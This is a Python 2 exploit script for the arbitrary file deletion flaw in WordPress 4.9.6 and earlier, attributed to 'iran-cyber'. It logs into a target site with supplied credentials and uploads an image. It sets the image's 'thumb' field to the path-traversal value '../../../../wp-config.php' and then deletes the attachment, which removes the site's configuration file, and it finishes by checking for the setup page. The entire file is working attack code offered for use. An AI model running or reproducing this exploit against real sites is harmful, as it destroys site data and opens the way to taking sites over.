import sys, re, os
# Exploit Title: Wordpress <= 4.9.6 Arbitrary File Deletion Vulnerability Exploit python
# Public Date: 9-25-2018
# Exploit Author: iran-cyber
# Vendor Homepage: wordpress.org
# Software Link: wordpress.org/wordpress-4.9.6.zip
# Version: 4.9.6
# Tested on: windows/linux
# Source : https://blog.vulnspy.com/2018/06/27/Wordpress-4-9-6-Arbitrary-File-Delection-Vulnerbility-Exploit/
#!/usr/bin/python27

Banner = '''
             Wordpress <= 4.9.6 Arbitrary File Deletion Vulnerability Exploit
                              Exploit By Iran-cyber.Net           
                                 White HaT Hackers
'''


def cls():
    linux = 'clear'
    windows = 'cls'
    os.system([linux, windows][os.name == 'nt'])


try:
    import requests
except ImportError:
    cls()
    print '---------------------------------------------------'
    print '[*] pip install requests'
    print '   [-] you need to install requests Module'
    sys.exit()


try:
    site = sys.argv[1]
    Username = sys.argv[2]
    passwd = sys.argv[3]
except:
    cls()
    print(Banner)
    print('         Usage: Python {} target.com username password'.format(sys.argv[0]))
    sys.exit()


cls()
print(Banner)
if site.startswith('http://'):
    site = site.replace('http://', '')
elif site.startswith('https://'):
    site = site.replace('https://', '')
else:
    pass
agent = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0'}
source = requests.get('http://' + site + '/wp-login.php', timeout=15, headers=agent).text.encode('utf-8')
try:
    WpSubmitValue = re.findall('class="button button-primary button-large" value="(.*)"', source)[0]
    WpRedirctTo = re.findall('name="redirect_to" value="(.*)"', source)[0]
    if 'Log In' in WpSubmitValue:
        WpSubmitValue = 'Log+In'
    else:
        WpSubmitValue = WpSubmitValue
except:
    print('     Target Not Wordpress! or wp-login.php Not Found!')
    sys.exit()

agent = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0'}
post = {}
post['log'] = Username
post['pwd'] = passwd
post['wp-submit'] = WpSubmitValue
post['redirect_to'] = WpRedirctTo
post['testcookie'] = 1
url = "http://" + site + '/wp-login.php'
sess = requests.session()
GoT = sess.post(url, data=post, headers=agent, timeout=10)
if 'wordpress_logged_in_' in str(GoT.cookies):
    print('     loged in!')
    x = sess.get('http://' + site + '/wp-admin/upload.php', headers=agent, timeout=10)
    if 'upload-instructions drop-instructions' in x.text:
        print('     ready to upload image')
        Wpn = re.findall('"action":"upload-attachment","_wpnonce":"(.*)"', x.text.encode('utf-8'))[0].split('"')[0]
        files = {'async-upload': ('jo2.jpg', open('jo2.jpg', 'rb'))}
        PostData = {'action': 'upload-attachment', '_wpnonce': Wpn}
        UploadImage = sess.post('http://' + site + '/wp-admin/async-upload.php', data=PostData, files=files, headers=agent)
        if 'success' in UploadImage.text:
            print('     Image Uploaded Successfully!')
            imageID = re.findall('{"id":(.*),"title":"jo2"', UploadImage.text)[0]
            GetWpn = sess.get('http://' + site + '/wp-admin/post.php?post=' + imageID + '&action=edit', headers=agent)
            WpnEdit = re.findall('type="hidden" id="_wpnonce" name="_wpnonce" value="(.*)"', GetWpn.text.encode('utf-8'))[0].split('"')[0]
            print('     Trying To Set Config')
            Post_Data = {'action': 'editattachment',
                         '_wpnonce': WpnEdit,
                         'thumb': '../../../../wp-config.php'}
            GetWpn = sess.post('http://' + site + '/wp-admin/post.php?post=' + imageID, data=Post_Data, headers=agent)
            GetWpn2 = sess.get('http://' + site + '/wp-admin/post.php?post=' + imageID + '&action=edit', headers=agent)
            WpnEdit2 = re.findall("post=" + str(imageID) + "&amp;action=delete&amp;_wpnonce=(.*)'>Delete Permanently</a>",
                                  GetWpn2.text.encode('utf-8'))
            print('     Trying To Delete Config')
            Post_Data2 = {'action': 'delete',
                         '_wpnonce': WpnEdit2}
            sess.post('http://' + site + '/wp-admin/post.php?post=' + imageID, data=Post_Data2, headers=agent)
            pwn = sess.get('http://' + site, headers=agent, timeout=10).text.encode('utf-8')
            if 'Setup Configuration File' in pwn:
                print('     Config Deleted!')
            else:
                print('     Config Not Deleted! mayBe Not Vuln Version.')
else:
    print('     Username or Password Not Valid! Cant Login...')
